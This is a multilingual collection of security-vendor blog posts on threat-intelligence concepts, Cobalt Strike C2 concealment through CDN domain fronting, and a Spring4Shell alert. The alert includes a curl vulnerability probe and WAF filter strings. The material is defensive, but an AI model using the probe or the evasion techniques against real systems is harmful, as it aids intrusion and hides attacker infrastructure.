[tactics, techniques, and procedures (TTP) - nist.gov](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures)
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What are Tactics, Techniques, and Procedures (TTPs)? Why do CTI analysts talk about them all the time?

TTPs 是 Tactics, Techniques, and Procedures 的縮寫，分別指戰術、技巧和程序。用以描述威脅行動者的攻擊模式或特徵。

- 戰術(tactic): 指的是以宏觀層次描述描述網路攻擊
- 技巧(technique): 比戰術的細節更多，提供完整的脈絡
- 程序(procedure): 說明完整的攻擊過程，較技巧所提供的資訊更詳細

一份有價值的威脅情資報告會提供詳盡的 TTPs 分析，協助讀者深入了解該次攻擊事件，從而採取正確的防禦措施。
 
 
 
 
 
*參考資料: 
[tactics, techniques, and procedures (TTP) - nist.gov](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是 TTPs? 為什麼 TTPs 是網路攻擊分析的重要元素?

TTPsは、Tactics（戦術）、Techniques（技術）、Procedures（手順）の略語です。攻撃者の攻撃パターンや特徴。

- 戦術：マクロレベルでのサイバー攻撃。
- テクニック：「戦術」よりも詳細で完全なコンテクストを提供。
- 手順：攻撃の全プロセス、「テクニック」よりも詳細な情報を提供。

詳細なTTPs解析により価値のある脅威レポートを提供します。レポートにより、攻撃をさらに理解できるようになり、正しい対策を講じるのに役立ちます。
 
 
 
 
 
*参考文献:
[tactics, techniques, and procedures (TTP) - nist.gov](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures)
 
*画像のソース: [Pixabay](https://pixabay.com/)

TTPsとは？ サイバー攻撃の分析に関する重要な要素である理由

Cyber kill chain describes on how cyber attackers break into companies’ systems. 

It contains 7 steps -

1. **Reconnaissance**: Attackers collect information about the staff from the target company e.g. email address, public info in social network platforms, etc. By using tools, attackers can scan websites or systems to find out which type and version is being used by the company.
2. **Weaponization**: Attackers look for tools or design their own tools to execute the cyber attacks, e.g. backdoor, trojan, etc.
3. **Delivery**: Attackers deliver weaponized packages to the victim via email, web, flash drive, etc.
4. **Exploitation**: Attackers exploits a vulnerability to execute code on the victim's system.
5. **Installation**: After the exploitation stage, malware will be installed on the victim’s system. This ensures attackers have long-term access and control of the victim’s system. 
6. **Command & Control**: This part is also called C2. It is a common channel for remote manipulation of the victim.
7. **Actions**: Take action to accomplish their original goals.


For various cyber attacks,the cyber kill chain can help the enterprise cybersecurity team studying system breaches or knowing and dealing with them. By doing so, the team can successfully achieve their cybersecurity defense goals.
 
 

>Learn more about our cybersecurity solution: https://teamt5.org/en/products/threatvision/

 
 
*Reference:
[Cyber Kill Chain® | Lockheed Martin](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What is Cyber Kill Chain? Why Does It Matters?

網路攻擊鏈(Cyber Kill Chain)以7個環節，描述網路攻擊者採取的攻擊步驟。

7個環節依序是:

1. **偵查 Reconnaissance**: 攻擊者收集目標對象的資料，如電子郵件信箱、社群平台的資料，以找到可以下手的弱點；或是透過工具，掃描目標對象的網站、系統，得知使用的系統種類、版本。
2. **武裝 Weaponization**: 攻擊者使用現成的開源工具或是自行開發專屬的惡意程式。
3. 遞送 Delivery: 攻擊者將攻擊武器送入目標的系統內，如透過釣魚信件裡的連結、夾帶木馬的盜版軟體、隨身碟。
4. **漏洞利用 Exploitation**: 確保遞送的惡意軟體，藉由目標對象的系統漏洞，得以順利開啟，並使攻擊者獲得控制權。
5. **安裝 Installation**: 攻擊者確保自身可以長期控制目標的系統內，以有足夠的時間進行後續環節。
6. **發令與控制 Command & Control**: 本環節取兩個單字的字首，又可簡稱為 C2。攻擊者潛伏在目標的系統內，收集資料，探索環境，以便審慎規劃後續行動。
7. **行動 Actions**: 根據攻擊者的最終目標，採取行動，如破壞系統、竊取機密資料、勒索目標對象。


針對各類網路攻擊，以網路攻擊鏈進行深度分析，有助企業資安團隊找出系統破口，進行修補與處置，達成資安防禦目標。
 
 
>認識我們的資安防禦相關解決方案: https://teamt5.org/tw/products/threatsonar-anti-ransomware/
 
 
 
*參考資料:
[Cyber Kill Chain® | Lockheed Martin](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是網路攻擊鏈 (Cyber Kill Chain)? 對資安防禦的重要性是什麼?

サイバーキルチェーン（Cyber Kill Chain）は、サイバー攻撃を7ステップに分解したものです。

7ステップ： 

1. **偵察**: 攻撃者は悪用できる脆弱性を見つけるためにメールアドレス、SNSなどで攻撃対象の情報を集めます。またはツールで攻撃対象のWebサイト、システムをスキャンし、使用しているシステムの種類やバージョンなどの情報を得ます。
2. **武器化**: 攻撃者は既存のオープンソースツールまたは自身が開発した専用のマルウェアを使用します。
3. **配送**: 攻撃者はフィッシングメール内のリンク、トロイの木馬入り海賊版ソフトウェア、USBフラッシュドライブなどを介して武器をターゲットのシステム内に送り込みます。
4. **脆弱性の利用**: 攻撃者は攻撃対象のシステムの脆弱性を利用し、送り込んだマルウェアを開いてコントロール権を得ます。
5. **インストール**: 攻撃者はターゲットのシステムを長時間コントロールできるようにし、その後のプロセスを実行するための十分な時間を確保します。
6. **コマンド&コントロール**: 2つの英単語の頭文字をとってC2と略されることもあります。攻撃者は行動を慎重に計画するため、ターゲットのシステム内に潜伏して、資料を集めたり環境を探ったりします。
7. **行動**: 攻撃者は攻撃対象のシステムの破壊、機密情報の窃取、身代金の要求など、最終目標に向けた行動を起こします。


さまざまなサイバー攻撃をサイバーキルチェーンで詳細に分析することで、企業の情報セキュリティチームはシステムの脆弱性を見つけ、修正および対処することができ、情報セキュリティ保護を達成するのに役立ちます。
 
 
 
*参考文献
[Cyber Kill Chain® | Lockheed Martin](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
 
*画像のソース: [Pixabay](https://pixabay.com/)

サイバーキルチェーン（Cyber Kill Chain）とは？ 情報セキュリティ保護の重要性について

## What is Diamond Model of Intrusion Analysis? 
The Diamond Model of Intrusion Analysis is a model to describe cyber attacks. It contains 4 parts - adversary, infrastructure, capability, and target. It gives analysts a comprehensive view of cyber attacks.

- Adversary: Where are attackers from? Who are the attackers? Who is the sponsor? Why attack? What is the activity timeline and planning?
- Infrastructure: Infected computer(s), C2 domain names, location of C2 servers, C2 server types, mechanism and structure of C2, data management & control, and data leakage paths 
- Capability: What skills do the attackers have to do reconnaissance, deliver their attacks, attack exploits and vulnerabilities, deploy their remote-controlled malwares and backdoors, and develop their tools?
- Target: Who is their target country/region, industry sector, individual, or data?

## Why Does It Matter?
For various cyber attacks, the diamond model of intrusion analysis can help enterprise cybersecurity teams find system breaches and deal with them. By doing so, they can successfully achieve cybersecurity defense goals.

![What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_en.jpg](https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_en.jpg)
<center>Diamond Model of Intrusion Analysis</center>


>Learn more about how we help enterprises via cyber threat intelligence: https://teamt5.org/en/products/threatvision/
 
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What is the Diamond Model of Intrusion Analysis? Why Does It Matter?

## 什麼是入侵分析鑽石模型? 

入侵分析之鑽石模型(diamond model of intrusion analysis)是以4大元素分析網路攻擊的模型，4大元素包含敵人(adversary)、設施(infrastructure)、能力(capability)、目標(target)。

4大元素的細節包含: 
- 敵人(adversary): 敵人從哪邊來?敵人是誰? 幕後主導者/贊助者是誰? 攻擊的動機是什麼?攻擊的時間表和計劃是什麼? 
- 設施(infrastructure): 受感染的電腦、C2域名、C2服務器位置、C2服務器類型、C2管理的機制和結構、控制和資料搬運的路徑
- 能力(capability): 攻擊者具備的偵測技術、遞送惡意軟體的方式、會利用的漏洞、可以遠端控制的惡意軟體/後門程式、橫向移動的技巧與使用的工具、竊取資料的技術
- 目標(target): 意圖攻擊的目標、鎖定的目標國家/地區、鎖定的目標產業、鎖定企業哪個部門、鎖定哪種職能的員工、意圖竊取的資料類型

## 入侵分析鑽石模型對資安防禦的重要性是?
針對各類網路攻擊，以入侵分析之鑽石模型進行多角度分析，有助企業資安團隊找出系統破口，進行修補與處置，達成資安防禦目標。


![What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_tw.jpg](https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_tw.jpg)
<center>入侵分析鑽石模型</center>
 

>了解我們如何透過基於入侵分析鑽石模型提出的威脅情資解決方案: https://teamt5.org/en/products/threatvision/
 
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是入侵分析鑽石模型? 對資安防禦的重要性是?

## 侵入分析のダイヤモンドモデルとは？

侵入分析のダイヤモンドモデル（diamond model of intrusion analysis）は、攻撃グループ（adversary）、攻撃基盤（infrastructure）、能力（capability）、ターゲット（target）の4つの要素からサイバー攻撃のパターンを分析する方法です。

4つの要素の詳細について： 
- 攻撃グループ(adversary): 撃グループは誰でどこから来たのか。背後の主導者や協力者は誰で攻撃の動機は何なのか。攻撃のスケジュールや計画。 
- 攻撃基盤(infrastructure): 感染したコンピュータ、C2サーバの名称、場所、タイプ、C2管理のメカニズムと構造、制御パス、データパス。
- 能力(capability): 攻攻撃者の検出技術、マルウェアの送信方法、悪用される可能性のある脆弱性、遠隔操作可能なマルウェア/バックドア、ラテラルムーブメントの技術と使用されるツール、データを盗む技術。
- ターゲット(target): どのような国/地域、産業、企業の部門、スキルを持った従業員が攻撃対象となっているか。盗もうとしているデータのタイプ。

## 情報セキュリティ保護の重要性について
さまざまなサイバー攻撃を侵入分析のダイヤモンドモデルで多角的に分析することで、企業の情報セキュリティチームはシステムの脆弱性を見つけ、修正および対処することができ、情報セキュリティ保護を達成するのに役立ちます。


![What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_jp.jpg](https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_jp.jpg)
<center>侵入分析のダイヤモンドモデル</center>

 
*画像のソース: [Pixabay](https://pixabay.com/)

侵入分析のダイヤモンドモデルとは？ 情報セキュリティ保護の重要性について

## The definition of cyber threat intelligence
Cyber threat intelligence (CTI) is information that has been aggregated, transformed, analyzed, interpreted, or enriched to provide the necessary context for decision-making processes.

## Why does cyber threat intelligence matter to enterprises?
As the old saying “know the enemy, know yourself, and in every battle you will be victorious”, cyber threat intelligence plays the same important role in cyber war. It gives enterprises an overview of the threat landscape. Enterprise can make better cybersecurity defense plans to secure daily operation. 

## 3 levels of cyber threat intelligence
Cyber threat intelligence contains 3 levels - strategic, operational, and tactical threat intelligence.

**1. Strategic Threat Intelligence**
(Non-Technical, usually CXX users) :  Identifies the Who and Why. Uses high-level information (whitepapers, policy documents, publications, etc.)

**2. Operational Threat Intelligence**
(Mixed, SOC leaders, analysts, etc.):  Works on the How and Where. Uses information about threat actor tactics, techniques, procedures, etc.

**3. Tactical Threat Intelligence**
(Technical, usually Security Operations Center (SOC) personnel):  Look at the What. Uses Indicators of Compromise (IoC) such as file names, hashes, domain names, IP addresses, etc.

## Summary
Threat intelligence is an important part of enterprises’ cybersecurity plans. Enterprises can effectively deploy information security defenses and ensure smooth operations using the intelligence gathered and analyzed by the top threat intelligence research teams.



We, TeamT5, are the top research team in malware & Advanced Persistent Threat (APT). We’re  frequently invited to share our insights in top cybersecurity conferences - Black Hat (USA), Code Blue/ AVTokyo (Japan), Troopers(Germany), and other events organized by global organizations such as Hack In The Box, and FIRST.

>Contact us today to learn more about our threat intelligence platform.
>https://teamt5.org/en/request-information/


What is Cyber Threat Intelligence (CTI)? Why Does It Matter?

## 威脅情資的定義
威脅情資(threat intelligence)或稱網路威脅情資、資安情資(cyber threat intelligence,CTI) ，指的是與網路攻擊相關的資訊，經由專業團隊收集、轉換、分析、解釋等處理過程，提供資安決策過程所需要的基礎。

## 威脅情資對企業的重要性
孫子兵法提及戰場上的重要原則「知己知彼，百戰不殆」，到如今的網路戰爭中，一樣適用，而威脅情資就是企業進行資安防禦布局的關鍵。

透過威脅情資，企業能夠有效規劃資安防禦計畫，包含如何為員工進行資安意識的教育訓練，了解需導入的資安解決方案，如何調整資訊系統的設定，並可在多個資安防禦目標中，區分輕重緩急，分配預算。

## 威脅情資的3大層次
威脅情資依其內涵，分為3個層次，每個層次都可為企業的資安計畫帶來效益。
 
**1. 戰略型威脅情資(Strategic Threat Intelligence): **無技術細節，由 CXO 層級使用；用於辨別誰會想攻擊? 為何想攻擊?

**2. 實戰型威脅情資(Operational Threat Intelligence): **需要技術背景，由SOC 主管、分析研究員等使用；用於理解攻擊者的TTP (戰術 Tactics 、技術 Techniques、流程 Procedures)

**3. 戰術型威脅情資(Tactical Threat Intelligence):** 需要技術背景，通常是 SOC 人員使用；以威脅指標(indicator of compromise, IoC)，監看特定攻擊事件

## 總結
威脅情資是企業資安重要的一環，與具備完整威脅情資資料庫的廠商合作，企業可有效進行資安防禦布局，確保營運順暢。

TeamT5 杜浦數位安全專精網路威脅研究，具備超過10年的惡意程式與進階持續性滲透攻擊(APT)的研究經驗。基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。

>今天就聯絡我們，展開企業資安的第一步!
>https://teamt5.org/tw/request-information/

 
 
 
*參考資料:
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是威脅情資? 對企業的重要性是什麼?

## 脅威インテリジェンスの定義
脅威インテリジェンス（threat intelligence）はサイバー脅威インテリジェンス（cyber threat intelligence,CTI）とも呼ばれ、サイバー攻撃に関する情報を指します。専門家のチームにより収集、変換、分析、解釈などの処理が行われ、情報セキュリティの意思決定プロセスに必要な基礎となります。

## 企業にとっての脅威インテリジェンスの重要性
孫子の兵法には「彼を知り己を知れば百戦殆うからず」という戦場における重要な原則がありますが、同じことが今日のサイバー戦争にも当てはまります。脅威インテリジェンスは、企業が情報セキュリティ保護を展開する際の重要なポイントとにもなります。

脅威インテリジェンスにより、企業は情報セキュリティの意識に関する従業員のトレーニング方法、導入する情報セキュリティソリューションへの理解、情報システムの設定および調整方法など、効果的に情報セキュリティ保護の計画を立てることができます。また、複数の情報セキュリティ保護に優先順位をつけて予算を割り当てることができます。

## 脅威インテリジェンスの3つのレベル
脅威インテリジェンスは内容によって3つのレベルに分けられ、それぞれのレベルが企業の情報セキュリティ計画にメリットをもたらします。
 
 
**1. 戦略的脅威インテリジェンス(Strategic Threat Intelligence): **技術的な背景を必要とせず、CXOレベルで使用されます。誰が何のために攻撃しようとしているのかを判断します。
 
 
**2. 運用的脅威インテリジェンス(Operational Threat Intelligence): ** 技術的な背景が必要で、SOCマネージャーや分析研究員などが使用します。攻撃者のTTP（戦術「Tactics」、技術「Techniques」、手順「Procedures」）を把握します。
 
 
**3. 戦術的脅威インテリジェンス(Tactical Threat Intelligence):** 技術的な背景が必要で、一般的にSOC担当者が使用します。 セキュリティ侵害インジケーター（indicator of compromise, IoC）で、特定のセキュリティインシデントを監視します。
 
 
## まとめ
脅威インテリジェンスは企業の情報セキュリティにおける重要な部分であるため、完全な脅威インテリジェンスデータベースを備えた業者と提携することで、効果的に情報セキュリティ保護を展開し、スムーズな経営を維持できます。

TeamT5は、サイバー脅威の研究を専門としており、マルウェアおよびAPT（高度で持続的な脅威）の研究に10年以上携わっています。当社は地理および言語の強みを活かして効果的にアジア太平洋地域のハッキング攻撃を把握しているほか、世界レベルの情報セキュリティカンファレンスにたびたび出席し、研究成果を発表しています。

ぜひ、今すぐ当社にご連絡いただき、企業の情報セキュリティの第一歩を踏み出してください。

👉 https://teamt5.org/jp/request-information/

 
 
 
*参考文献: 
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*画像のソース: [Pixabay](https://pixabay.com/)

脅威インテリジェンスとは？企業にとっての重要性について

Cobalt Strike is a well-established red-teaming toolkit that was specifically designed to create feature-rich backdoors in the matter of seconds. However, ever since its inception, the tool has been heavily abused by threat actors all over the world (e.g., Polaris/MustangPanda, APT32/OceanLotus, cybercriminals, etc.) The popularity of Cobalt Strike is primarily due to how powerful its built-in payload generators are, its flexibility in deploying the Beacon to the target machine(s) - and most notably - its ability to disguise the payload traffic in the target network.

Over the last year or so, more and more beacons relying on third-party services as their proxy are being found in the wild. Since the use of these third-party CDNs can allow anonymized C2 and enhance its detection evasion, numerous APTs have also begun using these services. In the following sections, we will go through some of the techniques used by these threat actors to see how one could easily set up these misused configurations.

## Serverless Functions
Other techniques that threat groups have been employing also include the use of third-party services such as Cloudflare Workers. With the use of serverless services, it is possible to setup what is essentially a free reverse proxy to a Cobalt Strike endpoint. When set up properly, these services can provide an additional layer of protection, as looking up the domain will only yield the service’s IP instead of the origin server.

![202205_blog_pic1.png](https://uploads.teamt5.org/upload/original/202205_blog_pic1.png)
 

Since these services are often set up with sub-domains that the threat actor could freely set up without purchasing a real domain, they could also be set to a somewhat convincing fake domain. In this example, the C2 was set to ```route.moffice365.workers.dev``` to make the traffic look somewhat related to Microsoft services.

![202205_blog_pic2.png](https://uploads.teamt5.org/upload/original/202205_blog_pic2.png)
 

The nature of these serverless functions makes it extremely difficult to attribute the origins of or identify the threat actors. Since the serverless code is only stored on Cloudflare, and its execution is done on Cloudflare’s servers, there is not a feasible way to identify the C2 infrastructures.

## Domain Fronting via CDN


Domain fronting is a technique that attempts to disguise the traffic by smuggling data to a well-known service or domain. In other words, similar to the previous technique, domain fronting cannot be feasibly blocked without disrupting services and or examining the inner request. HelpSystems, the company behind Cobalt Strike, had actually done a write-up of Cobalt Strike domain fronting using CloudFront in 2017[1].

![202205_blog_pic3.png](https://uploads.teamt5.org/upload/original/202205_blog_pic3.png)
 

Essentially, certain websites employ CDNs like CloudFront to deliver assets on their websites. Under normal circumstances, the ```Host``` header determines where the request should go - and this header is assigned by the website. However, we can also abuse this “feature” and make our beacon visit a certain domain with a specified Host header that goes to our CDN instead of the standard CDN that the website uses. With HTTPS, this request would be extremely difficult or impossible for the IT admin to block, as the request itself is encrypted, and on the surface, it would look like the user is simply visiting a reputable site.

## Domain Fronting with a Non-existent Domain
The following technique, however, does something slightly different. Some time ago last year, we detected a rather peculiar looking Cobalt Strike payload where its C2 address was set to ```pypi.python.org```. Obviously the actor couldn’t have possibly obtained the rights to the domain owned by the Python Foundation, and the chance of them pwning the service is also little to none.

![202205_blog_pic4.png](https://uploads.teamt5.org/upload/original/202205_blog_pic4.png)
 

So what gives? It turns out the secret lies within the service that operates the sub-domain and the HTTP header specified in the beacon. The Python Foundation uses Fastly for most of its services. Fastly uses the ```Host``` header specified within the request to decide which service to redirect the request to internally. For example, if I were to create a service on Fastly named ```dl-python.org```, and the ```Host``` header is set to ```dl-python.org``` in the beacon, Fastly would then forward the request to the service named as such.

![202205_blog_pic5.png](https://uploads.teamt5.org/upload/original/202205_blog_pic5.png)
 

Note the difference between this methodology against the previous domain fronting technique - the ```Host``` header may give a false impression that the C2 is being pointed towards ```dl-python.org```. In reality, it is being resolved as ```dl-python.org.global.prod.fastly.net``` when going through Fastly’s services. The service then internally forwards the request to ```my-c2domain.com``` as configured by the threat actor. This trick may lure threat investigators into investigating a completely different domain that may or may not be relevant to the incident.

![202205_blog_pic6.png](https://uploads.teamt5.org/upload/original/202205_blog_pic6.png)
 

## Conclusion
In this post, we have covered three ways that threat actors can abuse Cobalt Strike’s flexibility in payload communication: misuse of serverless functions and various abuses of CDN domain fronting. The resilience of Cobalt Strike is something that is beloved (or despised) by many because of this very reason. It is clear that the red-teaming toolkit is not going anywhere anytime soon as more and more creative strategies are discovered and employed.

## References
[1] Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting—Cobalt Strike Research and Development. ➔ [link](https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/)

*Image courtesy of [Pexels](https://www.pexels.com/)

Hiding in Plain Sight: Obscuring C2s by Abusing CDN Services

Cobalt Strikeは、数秒で機能豊富なバックドアを作成することに特化して設計された、定評のあるレッドチーム向けツールキットです。しかしながら、その登場以来、このツールは世界中の脅威アクター（Polaris/MustangPanda、APT32/OceanLotus、サイバー犯罪者など）に多用されています。 Cobalt Strikeの人気の理由は、主に内蔵されている強力なペイロードジェネレータ、ターゲットマシンにビーコンを展開できる柔軟さ、そして最も注目すべきなのが、ターゲットネットワーク内のペイロードトラフィックを偽装できる点にあります。

ここ1年ほどは、サードパーティーのサービスをプロキシとして利用するビーコンが多く出回っています。これらのサードパーティーCDNを利用することで、C2の匿名化が可能となり、検知回避を強化できるため、多くのAPTがこういったサービスを利用し始めています。以下のセクションでは、これらの脅威アクターが使用するテクニックのいくつかを紹介すると共に、こういった悪用された設定を設定するのがいかに簡単かをお見せしようと思います。

## サーバーレス関数
脅威グループが採用しているもう1つのテクニックが、Cloudflare Workersなどのサードパーティサービスを利用する方法です。サーバーレスサービスを利用することで、Cobalt Strikeエンドポイントへのリバースプロキシとなる設定を、お金をかけずに行うことができます。適切に設定することで、これらのサービスを通してさらなる保護レイヤーを形成することができます。ドメインを検索しても、オリジンサーバーではなく、サービスのIPのみが取得されるからです。

![202205_blog_pic1.png](https://uploads.teamt5.org/upload/original/202205_blog_pic1.png)
 

これらのサービスはサブドメインを使って設定されることが多く、脅威アクターは本物のドメインを購入せずに自由に設定することができ、ある程度の説得力のある偽ドメインに設定することもできます。この例では、C2が ```route.moffice365.workers.dev``` に設定されており、トラフィックがMicrosoftサービスに多少関連しているように見せかけています。

![202205_blog_pic2.png](https://uploads.teamt5.org/upload/original/202205_blog_pic2.png)
 

これらのサーバーレス関数は性質上、攻撃の発生源をたどったり、脅威アクターを特定したりすることは極めて困難です。サーバーレスコードはCloudflare上にのみ保存され、Cloudflareサーバー上で実行されるため、C2インフラを特定することは現実的に不可能です。

## CDNを介したドメインフロンティング


ドメインフロンティングとは、よく認知されたサービスやドメインにデータを潜ませることでトラフィックを偽装しようとするテクニックです。つまり、先ほどのテクニックと同様に、サービスを停止させたり、内部のリクエストを調べたりすることなくドメインフロンティングをブロックすることは現実的に不可能です。実は、Cobalt Strikeを提供するHelpSystemsが、2017年にCloudFrontを使用したCobalt Strikeのドメインフロンティングに関する記事を書いています[1]。

![202205_blog_pic3.png](https://uploads.teamt5.org/upload/original/202205_blog_pic3.png)
 

原則的に、一部のウェブサイトは、CloudFrontなどのCDNを採用して、ウェブサイト上にアセットを配信しています。通常は、ホストヘッダーがリクエストの行き先を決定し、このヘッダーはウェブサイトによって割り当てられます。しかしながら、この「関数」を悪用することで、ビーコンが特定のドメインに行くようにして、そのドメインにウェブサイトが使用する標準のCDNではなく、こちらで用意したCDNへと行くように指定したホストヘッダーを持たせることができます。HTTPSの場合、リクエスト自体が暗号化されているため、IT管理者がこのリクエストをブロックすることは極めて困難または不可能であり、表面上は、ユーザーが単に信頼できるサイトを訪問しているように見えます。

## 存在しないドメインを使用したドメインフロンティング
しかしながら、次のテクニックでは、少し違う方法をとっています。昨年のある時期に、C2アドレスが ```pypi.python.org``` に設定された、かなり奇妙に見えるCobalt Strikeペイロードを検出しました。Python Foundationが所有するドメインの権利を脅威アクターが取得することは明らかに不可能であり、サービスを悪用できる可能性もほとんどありません。

![202205_blog_pic4.png](https://uploads.teamt5.org/upload/original/202205_blog_pic4.png)
 

では何が目的なのでしょうか？その秘密は、サブドメインを操作するサービスと、ビーコンで指定されているHTTPヘッダーにあることが判明しました。Python Foundationは、同社のサービスのほとんどでFastlyを使用しています。Fastlyでは、リクエスト内で指定されたホストヘッダーを使用して、内部のどのサービスにリクエストをリダイレクトするのかを指定します。例えば、Fastly上に ```dl-python.org``` という名のサービスを作成し、ビーコンのホストヘッダーを ```dl-python.org``` にした場合、Fastlyはその名前のサービスにリクエストを転送します。

![202205_blog_pic5.png](https://uploads.teamt5.org/upload/original/202205_blog_pic5.png)
 

この方法と前述のドメインフロンティングのテクニックとの違いは、C2が ```dl-python.org``` に向けられるという、ホストヘッダーに誤った印象を与える点にあります。実際には、Fastlyのサービスを通すとdl-```python.org.global.prod.fastly.net``` として解決されます。その後このサービスは、脅威アクターが行った設定に従って、内部でリクエストを ```my-c2domain.com``` に転送します。この手口は、脅威調査担当者がインシデントと関係があるかどうかもわからない、まったく別のドメインを調査するようにうまく誘い込む可能性があります。

![202205_blog_pic6.png](https://uploads.teamt5.org/upload/original/202205_blog_pic6.png)
 

## 結論
この記事では、脅威アクターがペイロード通信におけるCobalt Strikeの柔軟性を悪用する際の3つの方法を説明しました。サーバーレス関数の悪用と、CDNドメインフロンティングに対する様々な悪用です。Cobalt Strikeのレジリエンスは、まさにこういった理由から多くの人に気に入られて（あるいは嫌われて）います。ますます多くの創造性に富んだ戦略が発見され、採用される中、レッドチームのためのツールキットはしばらく利用されることになるでしょう。

## 参考文献
[1] Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting—Cobalt Strike Research and Development. （高信頼性リダイレクタとドメインフロンティング - Cobalt Strikeの研究および開発）➔ [リンク](https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/)

*画像のソース: [Pexels](https://www.pexels.com/)

見えるところに潜む攻撃：CDNサービスを悪用したC2の不明瞭化

>- March 30th, 2022 (GMT+8): This alert was published at 18:30 (GMT+8). We will update the alert as soon as we have more details.
- March 31st, 2022 Update: Add Proof Of Concept (PoC) & Self Test Advice
- April 6, 2022 Update: Add CVE number, Official patch


## Executive Summary
On March 29th, 2022, TeamT5’s Cyber Threat Intelligence team was alerted about a RCE 0-day vulnerability in the Spring Framework. While we are still investigating the vulnerability, **our current assessment is that the severity level of this Spring Core RCE 0-Day vulnerability is critical**.

1. Given that Spring is a widely used framework for developing Java applications, we believe this exploit will cause a great impact to many services.
2. The Spring Core RCE 0-day (aka Spring4Shell, SpringShell) exists in the JDK version equal or above 9.0.
3. No official patch was released at the time of our analysis. We strongly recommend all of our partners and clients to review your codebase and take mitigation measures below.

## Spring Core RCE 0-Day Vulnerability Details
![spring vulnerability_pic1.png](https://legacy-uploads.teamt5.org/spring_vulnerability_pic1_fa9c1e327b.png)


|Aspect|Description|
|---|---|
|CVE|No CVE id for this vulnerability at the time of writing. Some have referred the vulnerability as SpringShell.|
|Severity Level|Critical|
|Versions Affected|JDK version above or equal to 9 and derivative framework with ```spring-beans-*.jar``` or ```CachedIntrospectionResults.class``` exists.|
|Proof-of-Concept (PoC)|Proof-of-Concept (PoC) has been released publicly..|
|Patch|No official patch available at the time of writing.|

**From the information gathered, we assess that the impact of this vulnerability is very severe and the severity level is likely to be as high as Log4j vulnerabilities**. The Spring Framework is one of the most popular and lightweight application framework for the Java platform. It is widely used by lots of companies and organizations for their internet-facing services. This means that every Java-based product or web service is affected by the scope of the vulnerability.

The SpringShell 0-Day Vulnerability is a Remote Code Execution (RCE) vulnerability. According to public information, a successful exploitation would enable the threat actors to have Arbitrary File Upload privilege.

TeamT5 will keep our partners and clients updated on the information about this vulnerability. Our partners and clients can rely on TeamT5’s solutions, ThreatVision and ThreatSonar, for protection from future attacks.

## PoC
There are some POC (Proof of Concept) released. The execution is below.
 
Payload:
 
![/spring-rce-zeroday-vulnerability_PAYLOAD.png](https://uploads.teamt5.org/upload/original/spring-rce-zeroday-vulnerability_PAYLOAD.png)


Execution screenshot
![spring_update_pic1.jpg](https://legacy-uploads.teamt5.org/spring_update_pic1_84fa3ea5fb.jpg)

In a website using Spring framework, we can send certain payload to a path related to the Spring Framework (see below picture). This action allows us to write document with arbitrary path to achieve RCE (Remote Code Execution) attack. Picture above shows the result.
![spring_update_pic2.jpg](https://legacy-uploads.teamt5.org/spring_update_pic2_c9326dfbe2.jpg)

## How to Test Whether My Service is Affected?
In a website using Spring Framework, sending the following query to a Spring Framework related tests whether the website is vulnerable or not (see below picture).

Query for testing is below -
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

Picture below shows the result. If it responds with HTTP Status 400, the website might be vulnerable to this exploit.
![spring_update_pic3.jpg](https://legacy-uploads.teamt5.org/spring_update_pic3_24a8883e53.jpg)


## Mitigation
### **1. Check JDK version number**

To check JDK version number, run ```java -version``` command to check the running JDK version on the server of your organization system.

![spring vulnerability_pic2.png](https://legacy-uploads.teamt5.org/spring_vulnerability_pic2_e20563e16c.jpg)




- If the version number is below or equal to 8, it is not affected by the vulnerability.
- If the version number is above or equal to 9, the vulnerability exists. Please apply temporary measure for protection.

### **2. Temporary measure for protection: WAF protection**

There is no official patch available at the time of writing. We strongly suggest you use the temporary measure (WAF protection) and pay attention to the release of official patches.

**WAF protection**

On web application firewall (WAF), implement rule filtering for the following strings:

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## Reference
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> Keywords: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5 Flash Alert】Spring Core RCE 0-Day Vulnerability

>- 2022 年 3 月 30 日 18:30（GMT+8）: 告警通知發佈
- 2022 年 3 月 31 日 更新： 新增 Proof Of Concept (POC) 及自我檢測方式
- 2022 年 4 月 6 日 更新：CVE 編號、官方 Patch 方式- 2022 年 3 月 31 日 更新： 新增 Proof Of Concept (POC) 及自我檢測方式
- 2022 年 4 月 6 日 更新：CVE 編號、官方 Patch 方式


## 重點摘要
